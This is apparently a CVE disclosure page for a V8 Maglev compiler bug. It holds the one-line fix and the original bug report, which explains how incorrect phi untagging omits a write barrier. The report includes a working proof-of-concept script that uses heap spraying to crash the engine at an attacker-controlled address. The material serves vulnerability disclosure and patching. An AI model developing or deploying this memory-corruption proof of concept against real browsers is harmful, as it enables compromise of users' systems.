CVE-2026-5865
Overview
Files Changed
src/maglev/maglev-graph-builder.cc
Patch
From 433b2912c5cb94ed0979c8284e96e4d08416b620 Mon Sep 17 00:00:00 2001
From: Darius Mercadier <dmercadier@chromium.org>
Date: Thu, 12 Mar 2026 16:59:23 +0100
Subject: [PATCH] [maglev] Avoid eliding Smi checks too aggressively
Fixed: 491884710
Change-Id: Iea557349d721a2ef151d3002a853fd3998755411
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7661984
Commit-Queue: Victor Gomes <victorgomes@chromium.org>
Auto-Submit: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Victor Gomes <victorgomes@chromium.org>
Cr-Commit-Position: refs/heads/main@{#105781}
---
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 5e09658..0b2eed6 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -4179,7 +4179,7 @@
ReduceResult MaglevGraphBuilder::BuildCheckSmi(
ValueNode* object, bool elidable,
AllowWideningSmiToInt32 allow_widening_smi_to_int32) {
- if (object->StaticTypeIs(broker(), NodeType::kSmi)) return object;
+ if (object->StaticTypeIs(broker(), NodeType::kSmi) && elidable) return object;
// Check for the empty type first so that we catch the case where
// GetType(object) is already empty.
if (IsEmptyNodeType(IntersectType(
Original Bug Report
Maglev: incorrect phi untagging can lead to exploitable write barrier omission
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
Maglev: incorrect phi untagging can lead to exploitable write barrier omission
In MaglevRepresentationSelector::EnsurePhiInputsTagged,
void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
// Since we are untagging some Phis, it's possible that one of the inputs of
// {phi} is an untagged Phi. However, if this function is called, then we've
// decided that {phi} is going to stay tagged, and thus, all of its inputs
// should be tagged. We'll thus insert tagging operation on the untagged phi
// inputs of {phi}.
const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
for (int i = 0; i < phi->input_count() - skip_backedge; i++) {
ValueNode* input = phi->input(i).node();
if (Phi* phi_input = input->TryCast<Phi>()) {
phi->change_input(i,
EnsurePhiTagged(phi_input, phi->predecessor_at(i),
BasicBlockPosition::End(), nullptr, i));
} else {
// Inputs of Phis that aren't Phi should always be tagged (except for the
// phis untagged by this class, but {phi} isn't one of them).
DCHECK(input->is_tagged());
}
}
}
That call does not pass force_smi. For an Int32 phi, EnsurePhiTagged therefore emits Int32ToNumber[kCanonicalizeSmi].
In MaglevGraphBuilder::TryBuildStoreField,
MaybeReduceResult MaglevGraphBuilder::TryBuildStoreField(
compiler::PropertyAccessInfo const& access_info, ValueNode* receiver,
compiler::AccessMode access_mode, compiler::NameRef name) {
// ...
if (field_representation.IsSmi()) {
RETURN_IF_ABORT(GetAccumulatorSmi(UseReprHintRecording::kDoNotRecord));
}
// ...
StoreTaggedMode store_mode = access_info.HasTransitionMap()
? StoreTaggedMode::kTransitioning
: StoreTaggedMode::kDefault;
if (field_representation.IsSmi()) {
RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
store_target, value, field_index.offset(), store_mode, name));
}
// ...
}
considering the following JavaScript code:
function f(a, b, x) {
let y = a ? x + 1 : 1;
let t = y | 0;
let z = b ? y : 1;
obj.x = z;
return obj.x;
}
The first phi y is untagged toInt32 because of y | 0. And EnsurePhiInputsTagged retags it for the outer tagged phi z. If the function is warmed up with Smi, then it will use BuildStoreTaggedFieldNoWriteBarrier for the obj.x = z store. If x is 1073741823, the a ? x + 1 : 1 branch produces 1073741824, which is outside the 31-bit Smi range. Int32ToNumber[kCanonicalizeSmi] therefore creates a HeapNumber, but the Smi-field store still skips the barrier, which creates an untracked pointer to a heap object.
The following POC demonstrates a SIGSEGV in cage + controlled address (set by MARKER) on release build.
const MAX_SMI = 1073741823;
function i2f(high32, low32) {
const buf = new ArrayBuffer(8);
const dv = new DataView(buf);
dv.setUint32(0, low32, true);
dv.setUint32(4, high32, true);
return dv.getFloat64(0, true);
}
function nestedPhiStore(o, a, b, x) {
let y;
if (a) {
y = x + 1;
} else {
y = 1;
}
const t = y | 0;
let z;
if (b) {
z = y;
} else {
z = 1;
}
o.x = z;
return t;
}
// SEGV at MARKER
const MARKER = i2f(0x2578877f, 0x25788785);
const obj = {x: 1};
for (let i = 0; i < 4; i++) {
gc();
}
print("marker =", MARKER);
print("young(obj) before warmup =", %InYoungGeneration(obj));
%PrepareFunctionForOptimization(nestedPhiStore);
for (let i = 0; i < 2000; i++) {
nestedPhiStore(obj, true, true, i & 1023);
nestedPhiStore(obj, false, true, i & 1023);
nestedPhiStore(obj, true, false, i & 1023);
}
%OptimizeMaglevOnNextCall(nestedPhiStore);
nestedPhiStore(obj, true, true, 7);
nestedPhiStore(obj, true, true, MAX_SMI);
for (let round = 0; round < 120; round++) {
const tmp = [];
for (let i = 0; i < 20000; i++) {
tmp.push({i, a: MARKER, b: 2.2, c: 3.3});
}
if ((round % 10) === 9) {
print("completed round", round + 1);
}
}
print("forcing major gc");
gc({ type: "major" });
print("about to read corrupted slot");
print(obj.x + 0.5);
VERSION
Commit: f285826766bdccddf9ccdabb3f47a3552eafebdb (Wed Mar 11 19:54:08 2026)
Bisect: commit 58c40ce533c9a5fc8a21cfae979880c0320862d8 (Mon Jan 19 19:13:44 2026 +0100) introduces the problem.
REPRODUCTION CASE
exp.js is attached. Please run with:
out.gn/x64.release/d8 –allow-natives-syntax –expose-gc –maglev-untagged-phis ./exp.js
args.gn
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false
Please attach files directly, not in zip or other archive formats, and if you’ve created a demonstration site please also attach the files needed to reproduce the demonstration locally.
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: DCHECK failure, SEGV on release
CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?
Reporter credit: Project WhatForLunch (@pjwhatforlunch)